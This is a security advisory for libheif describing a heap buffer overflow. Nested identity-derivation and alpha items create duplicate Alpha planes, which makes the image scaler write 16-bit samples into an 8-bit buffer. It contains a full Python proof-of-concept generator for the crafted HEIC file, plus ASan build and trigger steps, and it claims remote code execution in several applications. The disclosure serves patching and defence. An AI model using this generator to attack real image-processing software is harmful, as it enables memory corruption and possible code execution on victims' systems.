Skip to content

GHSA-g89c-p67h-r497

CVE Information

Summary

A crafted HEIC/HEIF/AVIF file with nested identity-derivation (iden) and auxiliary (auxl) item references causes HeifPixelImage::scale_nearest_neighbor() to write 16-bit samples into an 8-bit Alpha plane allocation, producing a heap buffer overflow (OOB write).

The overflow size and written values are attacker-controlled via the ISOBMFF container and HEVC bitstream content. Any application using heif_decode_image() is affected. No special API options or unusual calling patterns are required.

Details

The vulnerability is a chain of four individually benign behaviors that combine into a controlled heap-buffer-overflow:

1. transfer_channel_from_image_as() accepts duplicate destination channels

HeifPixelImage::transfer_channel_from_image_as() moves a source plane into the destination image by changing its channel to the requested dst_channel and appending it to m_storage. It does not reject a destination channel that already exists — the source even contains the corresponding // TODO:

// TODO: check that dst_channel does not exist yet          // line 1037
...
plane.m_channel = dst_channel;
m_storage.push_back(plane);                                 // line 1085 — unconditional

2. find_storage_for_channel() returns only the first match

find_storage_for_channel() returns the first ComponentStorage entry with the requested channel. All dependent methods — get_bits_per_pixel(), get_channel_memory(), get_width(), get_height() — therefore describe only the first Alpha plane even when later duplicates have different storage properties (bit depth, allocation size).

3. scale_nearest_neighbor() underallocates then overwrites via the HDR branch

scale_nearest_neighbor() allocates a single destination Alpha plane using the bit depth returned for the first Alpha entry (line 1849):

if (has_channel(heif_channel_Alpha)) {
    out_img->add_channel(heif_channel_Alpha, width, height,
                         get_bits_per_pixel(heif_channel_Alpha), limits);  // → uses first Alpha's 8-bit depth
}

It then iterates every entry in the source m_storage (line 1917). For each duplicate Alpha component, it looks up the same destination buffer via get_channel_memory<uint16_t>(), but selects the write type using that source component's bit depth. When a later Alpha is 10- or 12-bit, the HDR branch casts the 8-bit destination to uint16_t* and writes 2 bytes per output sample into a 1-byte-per-sample allocation:

// line 1949-1965 — HDR planar branch
uint16_t* out_data = out_img->get_channel_memory<uint16_t>(channel, &out_stride);
out_stride /= 2;
for (uint32_t y = 0; y < out_h; y++) {
    ...
    out_data[y * out_stride + x] = in_data[iy * in_stride + ix];  // 2-byte write into 1-byte alloc
}

4. iden enables the nested item graph that produces duplicate Alphas

ImageItem_iden::decode_compressed_image() calls the referenced item's full decode_image() (line 96):

return imgitem->decode_image(options, decode_tile_only, tile_x0, tile_y0, processed_ids);

This returns the referenced item's fully-decoded image — including its own alpha channel already attached. Then the base class ImageItem::decode_image() runs the iden item's own alpha attachment (image_item.cc:1030-1076), appending a second Alpha plane via transfer_channel_from_image_as(). This creates an image with two Alpha entries in m_storage: the first at 8-bit (from the referenced item's alpha), the second at 10-bit (from the iden's own alpha).

Additionally, ImageItem_iden::check_decoded_image_size() unconditionally returns Error::Ok, allowing the iden's declared ispe dimensions to differ from the referenced item's actual pixel dimensions. This enables the size mismatch that triggers scale_nearest_neighbor() when the iden image is used as another item's alpha auxiliary.

Attack flow:

The crafted file contains 5 ISOBMFF items:

Item Type Size Role
1 hvc1 64×64 8-bit Color image with auxiliary alpha → Item 2
2 hvc1 64×64 8-bit Alpha aux of Item 1
3 iden 64×64 (ispe) Identity derivation → Item 1; alpha aux of Item 5; has own alpha → Item 4
4 hvc1 64×64 10-bit Alpha aux of Item 3
5 hvc1 128×128 8-bit Primary item; alpha → Item 3

When decoding the primary (Item 5):

  1. Item 5's alpha is Item 3 (iden → Item 1)
  2. Decode Item 3 → calls Item 1→decode_image():
  3. Item 1 decodes to a 64×64 YCbCr image
  4. Item 1's alpha (Item 2) is decoded and its Y channel (8-bit) is transferred as heif_channel_AlphaAlpha #1 (8-bit)
  5. Back in Item 3's decode: Item 3's own alpha (Item 4) is decoded (64×64, 10-bit) and its Y channel is transferred as heif_channel_AlphaAlpha #2 (10-bit)
  6. Item 3's decoded image now has m_storage: [Y, Cb, Cr, Alpha(8-bit), Alpha(10-bit)]
  7. Item 3's declared ispe (64) ≠ Item 5's decoded width (128) → scale_nearest_neighbor() is called
  8. Scaler allocates dest Alpha at get_bits_per_pixel(heif_channel_Alpha) = 8-bit (first match) → 128×128×1 = 16,384 bytes
  9. Iteration reaches Alpha #2 (10-bit): HDR branch casts the 8-bit dest to uint16_t* and writes 128×128×2 = 32,768 bytes → overflow of ~16,384 bytes past the allocation

The output geometry (128×128) controls the overflow extent, while the HEVC 10-bit sample values control the uint16_t values written.

Related OOB read via overlay():

HeifPixelImage::overlay() indexes the Alpha plane using the color image's extent without verifying dimensions match. An undersized Alpha plane (transferred via iden with dimension bypass) causes an out-of-bounds read.

PoC

Step 1: Build libheif with ASan

git clone https://github.com/strukturag/libheif
cd libheif
cmake -B build \
  -DCMAKE_C_COMPILER=clang \
  -DCMAKE_CXX_COMPILER=clang++ \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -g" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
  -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address" \
  -DWITH_EXAMPLES=ON -DWITH_GDK_PIXBUF=OFF
cmake --build build --target heif-dec -j$(nproc)

Step 2: Generate the crafted HEIC (requires Python 3 + ffmpeg with libx265)

Save the following as gen_poc.py:

#!/usr/bin/env python3
"""
PoC generator for libheif heap-buffer-overflow via duplicate Alpha planes.

Constructs a HEIC file whose nested iden/auxl item graph causes
scale_nearest_neighbor() to write 16-bit samples into an 8-bit Alpha
plane allocation.

Prerequisites: Python 3.6+, ffmpeg with libx265.
"""

import struct, subprocess, tempfile, os, io

def _generate_hevc(width, height, pix_fmt):
    fd, path = tempfile.mkstemp(suffix=".265")
    os.close(fd)
    try:
        subprocess.run([
            "ffmpeg", "-y", "-f", "lavfi",
            "-i", f"color=c=gray:s={width}x{height}",
            "-frames:v", "1", "-c:v", "libx265",
            "-x265-params", "log-level=0",
            "-pix_fmt", pix_fmt, "-f", "hevc", path,
        ], capture_output=True, check=True)
        with open(path, "rb") as f:
            return f.read()
    finally:
        os.unlink(path)

def _parse_annex_b(data):
    nalus, i = [], 0
    while i < len(data):
        if data[i:i+4] == b"\x00\x00\x00\x01":
            start = i + 4
        elif data[i:i+3] == b"\x00\x00\x01":
            start = i + 3
        else:
            i += 1; continue
        end = len(data)
        j = start
        while j < len(data) - 3:
            if data[j:j+3] == b"\x00\x00\x01":
                end = j
                while end > start and data[end - 1] == 0:
                    end -= 1
                break
            j += 1
        nalus.append(data[start:end])
        i = end
    return nalus

def _nal_type(n): return (n[0] >> 1) & 0x3F

def _split_nalus(raw):
    nalus = _parse_annex_b(raw)
    ps = {"vps": [], "sps": [], "pps": []}
    vcl = []
    for n in nalus:
        t = _nal_type(n)
        if   t == 32: ps["vps"].append(n)
        elif t == 33: ps["sps"].append(n)
        elif t == 34: ps["pps"].append(n)
        elif t <= 31: vcl.append(n)
    return ps, vcl

def _box(tag, p=b""):
    return struct.pack(">I", 8 + len(p)) + tag + p

def _fullbox(tag, ver, flags, p=b""):
    return _box(tag, struct.pack(">I", (ver << 24) | flags) + p)

def _len_prefix(n):
    return struct.pack(">I", len(n)) + n

def _build_hvcc(ps, bpp, chroma):
    sps = ps["sps"][0]
    pb = sps[2] if len(sps) > 2 else 0
    buf = io.BytesIO()
    buf.write(struct.pack("B", 1))
    buf.write(struct.pack("B", ((pb >> 6) & 3) << 6 | ((pb >> 5) & 1) << 5 | (pb & 0x1F)))
    buf.write(b"\x60\x00\x00\x00")
    buf.write(b"\x90\x00\x00\x00\x00\x00")
    buf.write(struct.pack("B", 93))
    buf.write(struct.pack(">H", 0xF000))
    buf.write(struct.pack("B", 0xFC))
    buf.write(struct.pack("B", 0xFC | (chroma & 3)))
    buf.write(struct.pack("B", 0xF8 | ((bpp - 8) & 7)))
    buf.write(struct.pack("B", 0xF8 | ((bpp - 8) & 7)))
    buf.write(struct.pack(">H", 0))
    buf.write(struct.pack("B", 0x0F))
    arrays = []
    for nt, k in [(32, "vps"), (33, "sps"), (34, "pps")]:
        if ps[k]:
            hdr = struct.pack("B", 0x80 | nt) + struct.pack(">H", len(ps[k]))
            body = b"".join(struct.pack(">H", len(n)) + n for n in ps[k])
            arrays.append(hdr + body)
    buf.write(struct.pack("B", len(arrays)))
    for a in arrays: buf.write(a)
    return _box(b"hvcC", buf.getvalue())

def build_poc():
    print("[*] Generating HEVC bitstreams ...")
    raw_8_64  = _generate_hevc(64, 64, "yuv420p")
    raw_10_64 = _generate_hevc(64, 64, "yuv420p10le")
    raw_8_128 = _generate_hevc(128, 128, "yuv420p")

    ps_8_64,  vcl_8_64  = _split_nalus(raw_8_64)
    ps_10_64, vcl_10_64 = _split_nalus(raw_10_64)
    ps_8_128, vcl_8_128 = _split_nalus(raw_8_128)

    d1 = b"".join(_len_prefix(n) for n in vcl_8_64)
    d2 = d1
    d4 = b"".join(_len_prefix(n) for n in vcl_10_64)
    d5 = b"".join(_len_prefix(n) for n in vcl_8_128)

    ftyp = _box(b"ftyp", b"heic" + struct.pack(">I", 0) + b"heic")
    mdat = _box(b"mdat", d1 + d2 + d4 + d5)
    base = len(ftyp) + 8
    o1 = base
    o2 = o1 + len(d1)
    o4 = o2 + len(d2)
    o5 = o4 + len(d4)

    hdlr = _fullbox(b"hdlr", 0, 0,
        struct.pack(">I", 0) + b"pict" + b"\x00" * 12 + b"\x00")
    pitm = _fullbox(b"pitm", 0, 0, struct.pack(">H", 5))

    def infe(iid, typ, nm=b""):
        return _fullbox(b"infe", 2, 0,
            struct.pack(">HH", iid, 0) + typ + nm + b"\x00")
    iinf = _fullbox(b"iinf", 0, 0, struct.pack(">H", 5) +
        infe(1, b"hvc1") + infe(2, b"hvc1") + infe(3, b"iden") +
        infe(4, b"hvc1") + infe(5, b"hvc1"))

    def sref(rt, fi, tl):
        return _box(rt, struct.pack(">HH", fi, len(tl)) +
            b"".join(struct.pack(">H", t) for t in tl))
    iref = _fullbox(b"iref", 0, 0,
        sref(b"auxl", 2, [1]) + sref(b"dimg", 3, [1]) +
        sref(b"auxl", 3, [5]) + sref(b"auxl", 4, [3]))

    ispe64  = _fullbox(b"ispe", 0, 0, struct.pack(">II", 64, 64))
    ispe128 = _fullbox(b"ispe", 0, 0, struct.pack(">II", 128, 128))
    h3 = _build_hvcc(ps_8_64, 8, 1)
    h4 = _build_hvcc(ps_10_64, 10, 1)
    h5 = _build_hvcc(ps_8_128, 8, 1)
    auxc = _fullbox(b"auxC", 0, 0,
        b"urn:mpeg:mpegB:cicp:systems:auxiliary:alpha\x00")
    ipco = _box(b"ipco", ispe64 + ispe128 + h3 + h4 + h5 + auxc)

    def ipma_e(iid, al):
        return struct.pack(">HB", iid, len(al)) + \
            b"".join(struct.pack("B", ((1 if e else 0) << 7) | (i & 0x7F))
                     for e, i in al)
    ipma = _fullbox(b"ipma", 0, 0, struct.pack(">I", 5) +
        ipma_e(1, [(1,1),(1,3)]) +
        ipma_e(2, [(1,1),(1,3),(1,6)]) +
        ipma_e(3, [(1,1),(1,6)]) +
        ipma_e(4, [(1,1),(1,4),(1,6)]) +
        ipma_e(5, [(1,2),(1,5)]))
    iprp = _box(b"iprp", ipco + ipma)

    def iloc_i(iid, off, ln):
        return struct.pack(">HHHII", iid, 0, 1, off, ln)
    def iloc_e(iid):
        return struct.pack(">HHH", iid, 0, 0)
    iloc = _fullbox(b"iloc", 0, 0,
        struct.pack("BB", 0x44, 0x00) + struct.pack(">H", 5) +
        iloc_i(1, o1, len(d1)) + iloc_i(2, o2, len(d2)) +
        iloc_e(3) + iloc_i(4, o4, len(d4)) + iloc_i(5, o5, len(d5)))

    meta = _fullbox(b"meta", 0, 0, hdlr + pitm + iinf + iref + iprp + iloc)
    return ftyp + mdat + meta

if __name__ == "__main__":
    with open("poc.heic", "wb") as f:
        f.write(build_poc())
    print("[+] Written poc.heic")

Run it:

python3 gen_poc.py

Step 3: Trigger the overflow

ASAN_OPTIONS=detect_leaks=0 ./build/examples/heif-dec poc.heic /dev/null

Expected output (ASan report):

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... at pc 0x... bp 0x... sp 0x...
WRITE of size 2 at 0x... thread T0
    #0 ... in HeifPixelImage::scale_nearest_neighbor(...) pixelimage.cc:1964
    #1 ... in ImageItem::decode_image(...)                image_item.cc:1070
    #2 ... in HeifContext::decode_image(...)               context.cc:1443
    #3 ... in heif_decode_image                            heif_decoding.cc:258
    #4 ... in main                                         heif_dec.cc:...

0x... is located 0 bytes after 16399-byte region [0x...,0x...)
allocated by thread T0 here:
    #0 ... in calloc
    #1 ... in HeifPixelImage::ComponentStorage::alloc(...)  pixelimage.cc:478
    #2 ... in HeifPixelImage::add_channel(...)              pixelimage.cc:379
    #3 ... in HeifPixelImage::scale_nearest_neighbor(...)   pixelimage.cc:1849

SUMMARY: AddressSanitizer: heap-buffer-overflow pixelimage.cc:1964
         in HeifPixelImage::scale_nearest_neighbor(...)

Impact

We were able to get RCE using this on multiple applications.